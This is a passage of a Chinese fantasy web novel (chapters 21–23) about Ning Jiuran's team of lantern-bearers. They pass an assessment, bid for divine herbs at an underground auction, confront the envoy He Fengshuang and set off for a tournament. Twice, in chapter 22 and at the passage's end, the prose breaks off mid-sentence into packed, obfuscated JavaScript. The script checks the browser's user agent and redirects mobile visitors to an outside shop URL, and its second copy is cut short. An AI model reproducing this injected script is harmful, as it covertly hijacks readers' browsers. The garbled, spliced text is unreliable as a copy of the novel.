“不止这样,我们还发现车上有控制器,虽然我不知道它的具体作用,但我猜这估计是阻止我们带沧主任回司里的最后一道防线,所以我一开始就没打算开这些车回司里。”宁九燃左手托着右手,靠在墙上,“其实,沧主任从始至终都在我和辰刻的车上。” “怎么可能?在水下乐园那会,我看过你的车,分明没人啊!”肖自云不相信。 这时,辰刻把一个半人高的超大箱子推了进来,指着箱子说:“因为沧主任一直在这个箱子里。” “啊?”肖自云目瞪口呆地看着箱子,思路打了结,感觉荒唐极了。 “主任你放心,这是宜居搬运箱,完全按照生态舱的标准造的,很贵的。”宁九燃站起来说,“我们可没有苛待沧主任哦。” “所以你们真正的障眼法是这个箱子,让我以为它是用来装木雕的,实际上却是拿来装沧主任?”肖自云被这个操作诡异到了,但放在宁九燃身上又显得那么合理。 毕竟这丫头连直升机都说跳就跳。 “没错。”宁九燃坐回位置上,继续说,“从木屋出来之后,沧主任就进了箱子。后来,我们在百货大楼交手,我安排路嘲风利用分身把你们引开。你们走之后,我就趁机让沧主任下车取了芒果蛋糕,然后直接开向水下游乐场。不过我知道,这个骗不了你们太久,你们很快就能发现。” “这种时候,主任您肯定就会用到定位器,而且不会再轻易相信表象,所以我挖了个坑,等您自己发掘。我特地让林珰珰在我们之后去一趟木屋,然后再到水下游乐园踩个点,等您去查她的路线的时候,她差不多就快到百货大楼了。” 宁九燃说到这停了停,接过医生递给她的治愈药剂喝下。 路嘲风接上她的话:“然后我们亲爱的主任肯定会剖开表象看本质,得出一个绝妙的观点,那就是其实是我们三个在替林珰珰打掩护。说实话,换我我可能也这么想,主要是燃姐智慧超群啊。” “那么主任肯定会派人去追珰珰,但为了避免我有后手再加上前面被我忽悠,所以我就推测主任会让大部队来追我,毕竟对付没有攻击能力的珰珰,一个提灯人足矣。”宁九燃放下水杯,“那我就顺水推舟,借着受伤和车有问题让您主动提出带我们回司里。” “肖主任,这群小家伙了不得啊。”沧与野揉着自己的腰,忍不住感慨。 “有一点我没明白,你们是怎么做到让朝棠给我发那条信息的?如果没看到信息,我不会放松警惕带你们回来。”肖自云问。 “这个嘛——”宁九燃探头往门口看了看,刚好过道里响起脚步声,“就让他们来给您解释吧。” 肖自云一扭头,就看见林珰珰 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肖自云看着堵在门口站成一排的五人,眼神扫过来扫过去,说:“过了!从明天开始,你们就是平海分司外勤部正式的提灯人了!” 五人从医务室出来后,又嘻嘻哈哈聊了一路,并说定明天的假期一起去宁九燃家做客。分开之后,宁九燃绕回肖自云的办公室,办公室还亮着灯。 宁九燃敲了敲,里面的人说:“进来。” 肖自云抬头,看见宁九燃并不意外:“我知道你会来找我。” 宁九燃走到肖自云面前坐下,开口问:“主任,您不希望我们参加提灯人大赛吗?不对,不是您,是有人不希望我们参赛对吗?” “你很聪明,九燃。提灯人大赛并不仅仅意味着名次,更意味着资源、权力和地位,而这几个落在你们身上的名额有太多人觊觎。”肖自云看着她。 他就知道宁九燃能看出来,今天的考核但凡算漏一环,但凡换一个人,都绝对不可能通过,这已经远超正常考核的难度了。 宁九燃心中了然:“主任,是有人给您施压,让您加大考核难度筛掉我们,好拿走我们的名额对吗?” “是,也不完全是。”肖自云起身给宁九燃倒了杯花茶放在她面前,“说实话,你是我们平海分司有过的天赋最好的特能人,外勤七组除了本来就在的姜滚晁,剩下都是我精心挑选的人才。或许你们现在神力层级还不是最高的,但是你们很年轻,很有潜力,有朝一日会长成我们平海的希望。” “但提灯人大赛是机遇,也是险境,四大家族和各方势力之间的博弈是你们无法想象的,而你们背后……只有一个说不上话的平海。所以在有人给我施压的那一刻,我也犹豫了,想着要不要拦住你们……” 宁九燃听着他说的话,喝了一口花茶,甜的。 “但是……但是我现在改主意了,九燃,你们确实不应该困在小小的平海,我也不应该用我自己的怯懦去阻止你们的可能性。”肖自云直视着宁九燃,声音有力,“所以,放心去吧!再有谁来抢名额,我就让他们滚蛋!” 宁九燃的心里突然浮出奇怪的感觉——很陌生但又很温暖的感觉。 她想了想,站起身将受伤的右手轻轻贴在左肩,对肖自云行了专属提灯人的礼:“主任,我向您保证,一定把您的希望一代平平安安、满载荣誉地带回来。” 肖自云笑了,伸手拍了下她的肩膀:“我的希望一代,也包括你。” 21. 第21章 大约是成为提灯人更靠近目标有些兴奋,宁九燃昨晚到家后就开始失眠,好不容易睡着了,又开始做梦。 这个梦的诡异程度不亚于上次在医院做的那个——她这次居然梦见自己跟赫应决坐在一块看烟花! 她都开始怀疑自己是不是被赫应决威胁多了,开始在梦里幻想爱与和平了。 这么太平甚至带点诡异的浪漫氛围,是会出现在他们俩之间的吗? 醒来之后,她就开始深痛地自我谴责,觉得自己需要修身养性,清心寡欲。 于是宁九燃一边整理洗漱,一边口齿不清地碎碎念:“他是弑神者,专杀伪神教中人的……长得确实好看,但他还威胁我,还拿捏我的秘密……” “宁九燃啊……我们做人不可以这么肤浅的……不能被美色迷惑……” “从现在开始,把那张脸忘了哈……不可以再做奇怪的梦了啊……咕噜咕噜……”宁九燃吐掉漱口水,再用冷水洗了把脸,感觉自己已经清醒了,把某人的脸忘得一干二净了。 “小燃,你的朋友来啦。”唐姨在楼梯间喊道。 “来啦!”宁九燃穿上外衣跑下楼,就看见路嘲风非常自来熟从厨房窜出来,手上端了两盘热腾腾的锅贴,嘴里还被塞了个露馅的豆包。 视线一转,沙发上安安静静地坐了三个局促的人,个个双手都放在膝盖上,活像等着老师点名的乖学生,而一见到宁九燃,三人就跟看到了救星一般,唰得站起来。 “那个,你们放松点,一块吃早饭吧。”宁九燃赶紧招呼他们到餐桌坐下。 “对呀对呀,小燃朋友都不要拘谨,当自己家就好呀。”唐宛芬把做好的早餐摆了一桌子,笑着说,“要像小路学习,不要拘束啊。” “是的,要像小路学习。”宁九燃给他们每人倒上牛奶,笑着重复唐宛芬的话,然后杵了被豆包噎到的路嘲风一下,“小路,做好表率啊!” 路嘲风喝了口牛奶咽下后,非常配合地一点头:“是,燃姐!” 吃完早饭后,大家在宁九燃和路嘲风两个自来熟的努力下终于活跃了起来,帮着唐宛芬收拾好餐具道过别后就出了门。 “燃姐,你说今天要带我们去一个有助于提升我们实力的地方,是哪里啊?”路嘲风问。 “到了你就知道了。”宁九燃边走边说。 “那我们怎么去?” 辰刻出声:“我开了车。” 等一行人见到辰刻的车时,路嘲风最先出声:“我天,辰哥,这是你的车啊!” 眼前是一辆堪称炫酷的机甲车,通体墨蓝,涂层流光溢彩,流线型的白色车翼极其拉风,光从外观看就知道价格不菲。 “对,收藏机甲车也是我的个人爱好。”辰刻没理解路嘲风的惊讶。 而宁九燃突然就理解了出身法律世家且拥有平海最大律所的含金量,不由地感慨:“辰公子,你的爱好真是……价格不菲啊,而且这风格也有点没看出来……” “学法枯燥的时候用这个缓解压力,大家上车吧。”辰刻说。 根据宁九燃指的路线,辰刻开车出了平海,七绕八绕之后,路看起来越来越荒僻,最后干脆没路了,停在一座荒山面前。 “这是哪里?”林珰珰小声问。 “等我一下。”宁九燃下车,手心亮起红印往山体上一贴,山体立刻变幻出了一扇虚化的门,回到车上后,“走吧,进去。” 辰刻没多问,直接开了进去。 穿过门之后就到了一个近似停车场的地方,一个穿着黑衣带了面具的人立马迎了上来,手上引导着方向,嘴里喊着:“贵宾一位,同行者四位!这边请——” 他的声音听起来机械而诡异,估计是戴了变声器。 “没事,这是侍者,按他指引停车就好。”宁九燃对辰刻说。 停好车后,他们在侍者的安排下带上了面具,进到了一个包间。 路嘲风透过包间的玻璃往外看,开口:“这是……地下黑市拍卖场?” “是的。”宁九燃说。 跟着他们的侍者开口:“各位贵宾,为了保障你们的身份信息安全,我们为大家安排了代拍员,一会可以使用座位边上的传声器出价,然后由我们的代拍员代为报价。” “好。”宁九燃点头后,侍者就离开了包间。 “我们来这里……提升实力吗?”辰刻问。 他知道宁九燃路子很广,只是有点没想到她连地下黑市拍卖场都有路子。他虽没有来过,但却有所耳闻,地下黑市鱼龙混杂不挑门槛,但是拍卖场却不是谁都能进的。 毕竟在这种规则之外的地方,无所依傍的人是无法存活的。 “没错。”宁九燃在包间的沙发上坐下,“想要在提灯人大赛上拿好看的名次,我们必须要有别人不容易得到的底牌,而有一样东西非常重要,那就是神骨。” “神骨?”林珰珰出声,“可是姐姐,神骨只有在特能人的神力达到四重神相以上才有概率抽出,甚至可以说是小概率事件,我们现在抽出神骨的可能性会不会太低了?” 神骨是与神格共生的稀世珍宝,特能人的神力层级达到四重神相以上就可以尝试抽出神骨化为武器。品质高的神骨所化的武器完美适配神格,而且自带强大的神力,是所以特能人梦寐以求的东西。 但抽取神骨不仅看神力,更看机遇,大部分人要么抽不出神骨,要么抽出的神骨极其平庸。 “所以我才带你们来这里。”宁九燃嘴角一扬,说,“大部分人都以为想要抽取神骨只能拼命提升神力层级,但实际上,吸收高品阶的适配神草将会大大提高抽出神骨的几率。只不过,这样的神草可遇不可求,遇上了也未必有人识货,所以才没什么人用这个方法。” “姐姐,你这么说,我好像有点印象。”林珰珰忽然想起来什么,说,“前任弑神者司道大人好像说过这种方法,但是能识别神草的人太少,许多人吸收了错误的神草神力不进反退,效仿热潮过了后就很少人提起了。” “这我倒不清楚。”宁九燃没想到在这能听到有关司道的信息,不过现在这不是重点,“正常市面上的高品阶神草大部分都被家族垄断了,想要买的适合你们的神草,就只有这地下黑市拍卖场了!” “可是,我们应该也不太认识神草,平时见不着,神格学院也不教这些……”路嘲风说。 “我认识,放心吧,我有人脉帮我拿到了今天的拍品名单。”宁九燃点开个人终端弹出页面,上面是各样神草的图鉴,“而我刚好对神草颇有研究。” 正说着,“咚——”余波绵长的锤声响起,所有人不由自主地往拍卖场的中心看去,一个看着精瘦、脸上带笑的拍卖官和拍卖台一起从地下升了上来。 “诶!”宁九燃打了个响指,冒出的一小簇火焰绕着他们四人飞了一圈,他们就像突然回过神一般,截断了一动不动盯着拍卖官的视线,“小心点,他的神格是契律神,手上的锤子是他的神骨,名叫言契,锤音能强制让聆听者与他建立聆听契约,会不由自主地把他的话奉为准则和命令,稍有不慎你就能在这拍到倾家荡产。” “我天,这……还有这种操作啊……”路嘲风拍了拍胸口,赶紧转开视线,“这么黑的吗?” “不然怎么叫地下黑市呢?”宁九燃说,“调出些神力护体就好,这是专坑那些人菜钱多的。好啦,拍卖会应该要开始了。” “拍卖会正式开始!今天的第一件拍品是神器百花杀,是一位2s级神格的铸造师的作品。”拍卖官的手抚过拍卖台,一个亮着彩光的花球出现,“只要注入神力,它就可以按你意愿产生高达五十多种毒素,杀人于无形!” 顿了下,拍卖官用着极其兴奋地语气说:“而且,这件神器没有在请神司登记,也就是说,使用者不会被追溯!起拍价,五十万联币!” 声音一落,就立马有代拍员出价:“7号包间,八十万联币!” “十五号包间,八十五万联币!” “9号包间,九十万联币!” …… “没在请神司登记,这种违法的点还真是吸引人……”辰刻皱着眉说。 “毕竟是黑市嘛。”路嘲风接话,随即也忧愁起来,“这么贵,我们遇到合适的估计也买不起吧?” “辰公子”再次彰显实力,抽出一张黑卡:“我有钱。” “那个……我……我也有的……”坐在边上的林珰珰也弱弱地开口。 宁九燃笑了,说:“这些一般的拍品才是用钱买的,真正的好东西得用物拍。小铃铛,辰刻,不用你们的钱,我是有备而来的。” 几人点点头,继续看接下来的拍品。 大约拍出七八件之后,拍卖官又重重地敲了一下锤子,这次几人都有了防备,没有像刚才那样被吸住了目光。 “各位!这是今天 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“中阶雾中草,这么好的东西换这株草,值得吗?”辰刻问。 他进入请神司后就经常泡资料室,对雾中草的含金量还是非常了解的。 “当然值得。风郁罗汲取自然光彩而生,通体白色但看起来又流光溢彩,这株风郁罗的品相绝对是极品。”宁九燃扭头看向路嘲风,“最适合嘲风的蜃龙神格。” “燃姐你也太好了!”路嘲风捂住双眼做出感动落泪的样子,“我真的太感动了!” “好啦少来,嘴角都压不住了还哭呢。”宁九燃没忍住笑,“看下一件拍品吧,那株至慈琉璃莲是我为辰刻选的。” 至慈琉璃莲倒是有不少人出价,但是委托人也没能拒绝中阶雾中草的诱惑,最终成功被宁九燃拍下。 在等适合林珰珰的神草出场之时,宁九燃还用两株雾中草拍下了一副地脉腿甲。 “燃姐,这个是做什么用的?”路嘲风好奇地问。 “以地脉为连接,大幅度提升移动速度的。”宁九燃转身看向一直坐在边上不说话的姜滚晁,“姜滚晁,这是送给你的,泰坦神格以力量和防御著称,但是容易因速度短板被人袭击。你已经有神骨了,所以我就为你挑选了这个,你可以用它来保护自己。” “我……我吗?我也有吗?”姜滚晁有些没想到,脸上满是惊讶。 “当然,我们是一个团队,你也是我们的一员啊!”宁九燃弯起嘴角,认真地对他说。 “就是,别跟燃姐客气!”路嘲风靠过去搭上姜滚晁的肩膀,“到时候比赛多出点力就好啦!” 拍卖场中,拍卖官再次敲下锤子,喊道:“各位!接下来是我们的压轴拍品——月影流光兰,光是汁液就被称为顶级治愈圣药的极品神草,生于至净之水,此花的出现纯凭机缘,下次再有可就不知是何时了!诸位,请出价吧!” “三号包间,出价神器龙摄剑!” “八号包间,出价三株神草洛河殇!” “十九号包间,出价一箱极品神石!” …… 出价声此起彼伏地响起来。 “月影流光兰,百年难遇……竟在这里出现了。”林珰珰有些惊讶。 “小铃铛,这就是我为你选择的神草。”宁九燃拍拍林珰珰的手,随即勾起传声器,“七号包间出价,三株高阶雾中草!” 话音一出,别说是场下之人,连包间内的四人都纷纷震惊地看向宁九燃。 宁九燃只是轻轻放下传声器,手指搭在沙发的扶手上。 这株月影流光兰,她势在必得。 “天哪!七号包间出价三株高阶雾中草!不知今日在场还有没有人能拿出更好的宝贝!”拍卖官激动地大喊,“还有没有人出价!目前委托人已经倾向与七号包间的买家达成交易!我最后再数三声,没有的话这株神草将被七号包间拍下!” “三!还有人出价吗?” 拍卖官把锤子高高举起。 宁九燃透过玻璃盯着那株月影流光兰。 场下一片安静,三株高阶雾中草一出,几乎没有人觉得自己还能拿出更好的宝贝。 “二!”拍卖官继续报数,“还剩最后一个数!” 就在锤子即将落下之时,突然响起一个声音:“等等!一号包间出价!” 22. 第22章 宁九燃的眼神微动。 居然还有人出价?不过,应该比不过我的雾中草。实在不行,大不了报完价我再加价! 可出人意料的是,代拍员没有直接报价,而是走到台上对拍卖官耳语了几句。 拍卖官不知听到了什么,表情变得惊讶,随即关掉了话筒,低声对着联系器那头的委托人说了几句话。 等了几分钟,拍卖官点了点头,又跟代拍员说了两句,然后重重敲下了锤子:“一号包间的贵宾出价秘密宝物,委托人与其达成交易,恭喜一号包间的贵宾拍得月影流光兰!” 什么? 宁九燃站了起来。 什么东西竟有这样的吸引力?委托人甚至不再等别人继续出价就达成交易? “这个一号包间到底出了什么东西?三株高阶雾中草都不要了?”路嘲风非常震惊,“这……可以不公布的吗?” 宁九燃沉思了一下,说:“在地下黑市拍卖场,这是合规的。” 但仔细想想,这个一号包间贵宾的行为有些奇怪,今天他前面没有拍任何拍品,拍月影流光兰的时候也是压到最后一刻才出价,而且还是在她出了三株高阶雾中草对拍品势在必得之后…… 该不会是故意的吧? 想到这,宁九燃按了下沙发边的一个红色按钮,没几秒,刚刚那个侍者就走了进来。 “我想见一下一号包间的人。”宁九燃说。 “抱歉,我们拍卖场是不会泄漏贵宾的个人信息,也不会提供任何联系渠道的。”侍者弯着腰,恭恭敬敬地说。 宁九燃手上的红色手链一亮,取出一块金色的令牌:“这样也不可以吗?” 侍者看到令牌,神色一惊,想了想,为难地说:“按照规定,我不能拒绝您的任何要求,但是一号包间的人身份也有点特殊。我替您去问一下他是否愿意会面,可以吗?” 到底是什么身份?居然连包吉利给的令牌都没有用。 “行吧。”宁九燃点头。 没一会,侍者就回来了,对宁九燃说:“一号包间的贵宾愿意见面,但他说了,只见能拿得出雾中草的那个人。” 要见我? 宁九燃几乎已经能确定这个一号包间的贵宾就是故意的。 “姐姐,要不算了吧。”林珰珰上前拉住宁九燃的手,“我们不知道对方是什么人,而且只有你一个人去,实在是太危险了。月影流光兰而已,说不定我们以后还能找到更好的……” “没关系,我有分寸。”宁九燃抽出手,轻轻地拍了拍林珰珰的肩膀,冲着辰刻他们点头示意,“放心,我很快就回来,你们注意安全。” 宁九燃在侍者的引导下走到了一号包间门口,一推开门,周围的环境骤然变得模糊。 一声浅浅的、如念咒一般的声音响起:“梦魇降临。” 宁九燃整个人一僵,定在原地不动,眼神渐渐迷离。 直到身侧响起越来越近的脚步声,有人慢慢靠近她,低低地说:“果然……我的梦魇降临对你没有用,不用再装了。” 宁九燃卸下伪装,转过身,看清了来人的模样。 是一个年轻的男人,五官俊朗,身量高瘦,剪裁精致的衣服和散发出的气质可以看出身份不凡。但是最特殊的是他的眼睛,淡淡的青色,就好像清浅的青玉。 “你就是一号包间的那个人?为什么攻击我?”宁九燃对这种见面就下暗招的人很难有好态度,就算长得好看也不行,更何况…… 又不是没见过更好看的。 “我只是有些好奇——”他的步伐很轻,绕到宁九燃的正面,“能让赫应决这种人感兴趣的,会是什么样的人呢?” 他认识赫应决,还直呼其名,甚至还知道我…… 宁九燃心中隐隐浮出一个前段时间才查到的名字,试探性地开口:“你是……神使何风霜?” 那个赫应决口中,能以神力痕迹为媒介回溯过去的人。 男子明显惊讶了一下,随即笑了:“猜对了,你果然很聪明。不过也不奇怪,九凤神格的拥有者,向来就没有逊色的。” 我什么都没做,他居然看出了我的神格! 宁九燃的眼神变得警惕,杀意陡生。 “不用觉得奇怪,你的九凤神格隐藏得很好,本不可能有人看出来。”何风霜走到沙发前坐下,“只不过,我曾经也认识一个九凤神格的人,她是这个世界上唯一一个不受我神技影响的人。可惜的是,她死了。“ 何风霜的睫毛细长,垂下来的时候,眼下出现一小圈淡淡的阴影:“你是第二个。” “你说的人,是前任弑神者司道吗?”宁九燃开口,“你认识她?你们是朋友吗?” “认识,但……不是谁都有资格说是她的朋友的。”何风霜微微蹙起眉,随即神色恢复如常,“抱歉对你出手,我只是想验证一下我的猜想而已,没有恶意。当然,我也会为你的神格保密,毕竟这是个能引起联邦震动的神格……“ 也注定伴随着腥风血雨…… “这株月影流光兰就作为赔礼送给你吧。”何风霜手一翻,月影流光兰浮出,飞到宁九燃的手上。 宁九燃托住神草站着没动,心里却在迅速盘算。 神格暴露了,如果现在弄死他,应该会惹上很大的麻烦。可是如果不弄死,他的话可信吗? “这么贵重的赔礼,你应该还有别的目的吧?” “我只是想认识一下拥有九凤神格的天之骄子,没什么奇怪的吧。”何风霜脸上始终挂着淡淡的笑,“不过,听说你要参加提灯人大赛,你考不考虑加入我家族的队伍?” 宁九燃:“加入你的家族?” “我可以给你提供最好的训练资源,给你更强大的队友,让你代表我的家族参赛。”何风霜说,“你现在的这些队友还需要你的托举,不是吗?更何况,梦魇之下,他们也有瞒着你的秘密。” 说着,他站起身,伸手轻弹,周围的空间瞬间变成一片虚无,林珰珰、辰刻、路嘲风和姜滚晁都出现在空间里,每个人的眼神都是失焦的状态。 “他们现在都陷入了我的梦魇当中,看见了他们内心深处最恐惧的东西,也是他们最真实的样子。”何风霜走到路嘲风边上,“比如,一个无依无靠的孤儿却能考入高等神格学院,还顺利进入了请神司成为提灯人,光靠实力,有点不够吧?” 他又走近辰刻。 “再比如,这个将原则刻进骨子里,将真实视为信仰的狴犴神格者,他明明看出你身上有那么多疑窦,为什么会真心实意地要帮你?” 宁九燃看着他的眼神慢慢冷下去。 “还有她,逃避,怯懦……”何风霜的手靠近林珰珰身侧的光点,神色微微一变,“居然……虚假而弱小,怎么配成为你的朋友和队友呢?” 何风霜继续说:“怎么样?考不考虑我的建议,你不用现在就回答……” “不考虑!”宁九燃直截了当地说,“神使大人,不是只有坦诚得干干净净才能做朋友的。更何况与他们相比,我才是那个最虚假的人。” 何风霜似乎没想到会是这个回答,愣了下。 “多谢你的神草,但我不会加入你们,也请你立刻解开我朋友身上的梦魇。”宁九燃直视着他。 何风霜挥了挥手,周围的环境恢复正常。 “好,但如果有一天你改主意了,或者怀疑你的同伴会背叛你,想知道他们的秘密,可以来找我。”何风霜微微弯起眼睛。 他知道,这个诱惑很少有人能拒绝。刚刚那个委托人明明对三株高阶雾中草非常心动,但一听到自己可以给他一次看见别人过去的机会,就毫不犹豫地选择了自己的出价。 宁九燃转身就走,到门口时忽然停下说:“神使大人,我不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16574934|186875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会好奇他们的秘密,也不会因为这件事去找你,更不会因为这株神草就承你的情。” 顿了顿,她又说: “我会保护他们,希望你能离他们远一点。” 宁九燃拿到神草后,就带着其他几人一块离开了地下黑市拍卖场。 辰刻开着车一路回到小巷口,几人在唐宛芬的盛情邀请下留在家里吃了晚饭。 晚饭的气氛跟早上已经截然不同,路嘲风已经熟到把这当自己家,主动请缨帮小店招揽顾客,和叔叔聊得火热。林珰珰用神技帮嘉宝治好了身上磕碰的小伤后,就一直被唐宛芬拉着喂各种好吃的。姜滚晁则闷不吭声利用身高和神技优势把家里的所有墙柱都加固了一遍。 而最一本正经的辰刻,在吃完饭后被小嘉宝强行拉住陪她玩捉迷藏,穿着一身板正的西服陪扎羊角辫的娃娃楼上楼下地跑,在小孩子拙劣的藏法面前手足无措、进退两难。 看着相当鲜活。 一直到九点多,大家才道别离开。 宁九燃把他们送到巷口,将各自的神草和姜滚晁的腿甲交给他们,叮嘱道:“吸收神草需要绝对安全且稳定的环境,我建议你们去司里的全态训练场,但是有一点很重要,就是保密。” 大家纷纷应道。 等他们走之后,宁九燃一个人在小巷里往家走。 走出几步后,便听到身后落下轻轻的脚步声。 “赫大人,好久不见,晚上好呀。”宁九燃没有回头,她知道是谁。 赫应决今日的着装看着和平时很不一样,藏青的内搭衬衫将他肤色衬得更为冷白,长款的复古色风衣随着步履微微翻动,双手随性地插在风衣的口袋里。 宁九燃忽然觉得,如果收起神格,去掉弑神者的身份,这个人才更像他这个年纪该有的样子——这位叱咤风云、位高权重的弑神者今年也不过才二十九岁。 赫应决没说话,宁九燃也就不开口,两人就这样慢慢地并排在巷子走着。 走了好几步后,赫应决才出声:“我以为,你不会再在晚上一个人走这条路了。” 宁九燃看看四周,知道他在说上次刺杀的事,笑道:“我为什么不敢?上次死在这的人又不是我。” “宁九燃,你……”赫应决忽然停住脚步,侧身看着她,“你一定要参加提灯人大赛吗?” 宁九燃有些不解他为什么这么问,但还是回答:“没错,一定要。” “你不担心卷入之后,会改变你现在喜欢的生活吗?”赫应决问。 “赫大人这话,总不会是在担心我吧?”宁九燃偏头去看赫应决的神情,“可是赫大人,如果我不卷入,我可能都无法继续拥有这样的生活呢。” 赫应决沉默了几秒,昏暗的光线下看不清他的神情:”我明天就会离开平海回弑神殿,过几天应该会有使者来接你们去请神城准备比赛。给你一个忠告,到了请神城,藏好你的九凤神格,不要轻易相信人,别还没达成目的就死了。“ 宁九燃表情认真地听他说完这番话,细细品了品,咂摸出一丝丝不对劲:“赫大人,你是特地来跟我告别的吗?还叮嘱我注意安全,你对我这么友好,让我有点受宠若惊呢。” 赫应决大约是被她的语出惊人弄得不知该怎么接话,半天不说话,直到宁九燃出言提醒:“赫大人,再往前走就是我家了,你……要进去坐坐吗?” 赫应决才停住了脚步,说:“你到底听懂我说的话了吗?” “应该懂了。”宁九燃实事求是地点头。 赫应决神色复杂地看了她一眼,然后走到一旁划开光门往里走。 宁九燃突然福至心灵,冲他的背影喊道:“赫大人,多谢关心啦!你今天的这身衣服衬得你格外帅!” 某弑神者不知有没有听到,只见踏进光门的脚乱了两步。 宁九燃目的达成,心满意足地回家了。 23. 第23章 休完假之后,司里面给他们举行了相当隆重的转正仪式和大赛出征仪式。 他们五人穿着正式的提灯人制服站在光泽之下,由即将卸任的五位提灯人将提灯人的标志请神灯——一块灯状的红色神石,佩戴到他们胸前。 这块神石当中有他们的一缕神力和特制的请神香。 据说,当提灯人在面对无法击败的敌人时,他们就可以捏碎这盏灯,神力将在请神香的刺激之下完全爆发,以燃尽生命为代价进行全力一击,完成作为提灯人最后的使命。 灯灭,身死,而背后是要守护的联邦公民。 “从今天起,平海分司外勤七组全体组员正式成为提灯人,组员宁九燃表现优异,能力突出,特任命宁九燃为外勤七组组长。”肖自云宣布道。 “欢迎加入请神司,愿你们提灯以照世。” 这是宁九燃第二次听到这句话。 转正仪式之后的大赛出征仪式被司里弄得相当高调,听说是全城直播,收视率更是奇高。宁九燃突然就理解了“村里出了个大学生”的含金量。 又是市长,又是各种官员、各方媒体,一窝蜂地全来了。 宁九燃头一次感觉手麻了——握手握麻了。 好不容易中场休息,五个人回到办公区在位子上躺了一排,感觉出师未捷累得要身先死了。 没几分钟,肖自云风风火火地推门进来:“赶紧的,这两天东西应该都收好了吧,现在跟我出发。” “不是说明天早上去大赛集合点吗?”宁九燃摊在位子上没动。 “人家那边改时间了,现在就走。”肖自云直接上手把他们挨个拉起来,“赶紧啊,就二十分钟去取个行李,我在停车场等你们。” 二十分钟后,肖自云一踩油门,拖着“平海的希望”,绕过浩浩荡荡的人群,开着机甲车飙了出去。 “主任,我们为什么要提前出发?”宁九燃靠在座位上问。 “按惯例,进入请神城的参赛提灯人要有请神城派出的使者带领,我们平海一直都没有专门的集合点,所以你们要去别的集合点。”肖自云一边开车一边说,“人家改时间我们也没办法,毕竟我们话语权小。” 宁九燃听了话,偏头去看窗外。 她原本计划今夜回一趟伪神教主殿,但是现在计划被打乱,得另找时间了。 “行了,你们别担心,时间来得及。你们几个先在车上好好休息。”肖自云说。 宁九燃闭目休息。 算了,另做打算吧。 大约两个小时后,肖自云的车停在了一处车站。 宁九燃下车后,发现车站周围已经站了不少人,不同分司的提灯人制服略有差异,但胸前都佩戴着一模一样的请神灯。 被人群围在中间的应该就是使者了。 宁九燃他们拿着行李,跟着肖自云走进人群。 “7号,岩城分司代表队!”站在最中间的是个四十多岁的中年女人,盘着发,带了黑框眼镜,身上穿的看着也像某种制服,声音有些尖锐,“人到了吗?” “每届大赛派出的使者都是请神城高等神格学府的教授,这两位教授分别姓贺和章,你们记得尊敬点。”肖自云压着声音对宁九燃他们说。 人群里有人应答。 “最后一个……这什么平海?八号,平海分司代表队!”贺教授又喊道。 “到!到了!”肖自云举起手,挤过人群到女人身边,“你好,我是平海分司外勤部主任肖自云,这几位是我们司的代表队队员,有劳使者多照顾。” “嗯。”贺教授只是一点头,随即看向人群,“现在所有人按照我点名的序号上列车,进对应序号的包厢。” 肖自云伸出的手被晾在那,又缩了回来,退回到宁九燃他们身边。 “这几个教授,怎么这么没礼貌?”路嘲风忍不住吐槽。 “正常,我们平海在主司那可能连名字都不太有,他们看不上我们不奇怪。”肖自云倒没挂脸,依旧笑着对他们说,“行了,你们也上车吧,不管是训练还是比赛都一定要注意安全。按规定我们没法随行,期待在大屏幕上看见你们。” “放心主任,我们一定替平海争光。”路嘲风笑嘻嘻的。 这时,旁边传来几句议论。 “平海?什么小地方?听都没听过。” “估计是来凑数的吧。” “现在什么人都有资格参赛了吗?” …… 几个提灯人凑在一块窃窃私语,忽然觉得背后一凉,转过身发现,平海分司队里带头的那个女孩正冷眼看着他们。 她明明长得非常明媚漂亮,冷下眼时,却让人莫名不寒而栗。 一个提灯人强行压下战栗,准备回看过去,就看见那个女孩又换回笑容,对着他们的主任说:“主任放心,我们拿个冠军回来给你。” 声音不大,但足够让他们听见。 宁九燃他们跟肖自云道过别后就上了列车,顺着车厢一节一节往后走,但是却没有找到八号包厢。 “教授您好,我们是平海分司代表队的,不好意思想问一下,八号包厢在哪里?”辰刻走到在核实人数的章教授身边询问。 “没有八号包厢,我们这趟列车向来只有七个参赛队员包间,你们平海是后来加上的,就去储物间对付一下吧。”章教授没看辰刻,随口敷衍道。 “诶,不是,那凭什么要我们待储物间啊?大家都是提灯人,区别对待会不会有些过分?”路嘲风本来就有点不爽,这下不想忍了,直接走到辰刻身边对那个教授说。 “嘲风。”辰刻按住路嘲风的肩膀,冲他摇了摇头,拉着他回到宁九燃他们身边。 宁九燃已经听见了他们的对话,看出来这几个教授打心眼看不起他们。 “算了,待会就待会,别跟他们起争执。”辰刻说,“现在跟他们起争执,吃亏的是我们,万一惹出事,可能还会麻烦到肖主任。” “燃姐。”路嘲风看向宁九燃,“你是组长,怎么说?” “辰刻说的对,好了,我们先过去吧。”宁九燃伸手拍拍路嘲风,几人一起把行李搬进了空的储物间,从行李里取出几张垫子后就地坐下。 “我还没来得及问,你们吸收神草之后,身体反应怎么样?”宁九燃盘腿坐着,问道。 “我成功抽出了神骨。”辰刻伸出手,一柄暗青铜色的锏凭空出现,长约四尺,通体呈现暗青铜色,四棱形的锏身布满了细密古老的律法铭文,“我给它取名叫镇律锏。” “哇塞!”路嘲风上手去碰镇律锏,“太帅了吧,为什么我吸收之后还是没抽出来?” “我也没有。”林珰珰说。 “没关系,神草特性不同,发挥作用的时间也不同,慢慢来。”宁九燃宽慰他们,“神骨是最适合我们的武器,有的时候也需要要一点缘分。” “宁……宁组长,你的神骨是什么呀?”坐在一边的姜滚晁忽然出声。 宁九燃抬头看他:“我也还没抽出来呢,可能缘分没到。滚晁,你别老叫我宁组长,你比我大几岁,叫我九燃就好,不然听着怪生疏的。” “好……好的,九燃。”姜滚晁叫得有些磕绊, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 